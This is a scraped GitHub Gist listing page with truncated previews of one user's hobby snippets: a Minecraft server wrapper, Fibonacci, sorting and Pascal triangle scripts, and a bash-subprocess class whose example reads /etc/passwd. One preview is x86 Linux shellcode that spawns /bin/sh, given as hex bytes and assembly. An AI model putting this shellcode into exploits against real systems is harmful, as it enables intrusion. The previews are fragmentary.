Skip to content

Instantly share code, notes, and snippets.

@luc99a
luc99a / wrapper.py
Last active August 27, 2015 08:45
A Minecraft server wrapper that sends server's output to a socket, need a lot of improovement
#!/usr/bin/python
#Minecraft server wrapper
#sends stdout via socket to DESTINATION_IP DESTINATION_PORT
#by luc99
#Configuration
#Put here the server path
SERVER_PATH = "/home/maurizio/Scrivania/.wrapper/craftbukkit.jar"
#This Python script computed the k table
import math
import sys
final_list = []
for i in range(0, 64):
final_list.append(math.floor(math.fabs(math.sin(i + 1)) * math.pow(2, 32)))
c = 0
def get_multiples(l, n):
result = []
for i in l:
if i % n == 0:
result.append(i)
return result
def union(l, m):
for i in l:
if i not in m:
@luc99a
luc99a / fib.py
Last active August 29, 2015 14:23
def fib(n):
sequence = [1, 1]
next_number = 2
while next_number <= n:
sequence.append(next_number)
next_number = sequence[len(sequence) - 1] + sequence[len(sequence) - 2]
return sequence
def get_evens(l):
ret = []
@luc99a
luc99a / shellcode.asm
Last active August 29, 2015 14:23
shellcode, to improve
;shellcode
;\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\x83\xc0\x0b\xcd\x80\x83\xe8\x0a\x31\xdb\x43\xcd\x80
xor eax, eax
push eax
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
push eax
mov edx, esp
push ebx
@luc99a
luc99a / bubblesort.py
Last active August 29, 2015 14:05
Some sort algorithms written in Python
#Bubblesort algorithm
#code by luc99a
def bubblesort(list):
swap_count = -1
while not swap_count == 0:
swap_count = 0
for i in range(0, len(list) - 1):
if list[i] > list[i + 1]:
temp = list[i + 1]
@luc99a
luc99a / shell.py
Created August 27, 2014 09:06
Shell class in Python executes a single /bin/bash subprocess and gives to it commands writing on stdin. Needs improovment
#Hi this class spawns a single subprocess /bin/bash and pass commands to it's stdin, this means that you can also
#execute cd commands here is an example that prints the /etc/passwd file and then echoes "Done"
#the class is only a proof of concept and has to be improoved
#for example the get_beffered_output() could not give the entire output of the command we executed depending on how much time the
#command uses to end
import subprocess
import threading
import time
@luc99a
luc99a / pascal.py
Created August 23, 2014 16:27
Pascal triangle generator in Python
def pascal(col, row):
if col == 0 or col == row:
return 1
return pascal(col - 1, row - 1) + pascal(col, row - 1)
col = 0
row = 0
line = []
totallines = 0
@luc99a
luc99a / fibonnacci.py
Created August 23, 2014 13:18
Fibonacci algorithm explained in Python
#Explaination of https://github.com/luc99a/Assembly-Codes/blob/master/fibonacci.asm
#In Python
#by luc99a
high = 1 #Store the high number (actually it's not the high number I will swap low and high)
low = 1 #Store the low number (actually it's not the low number I will swap low and high)
#Repeat 20 times
for i in range(0, 20):
temp = low #Store in temp the value of low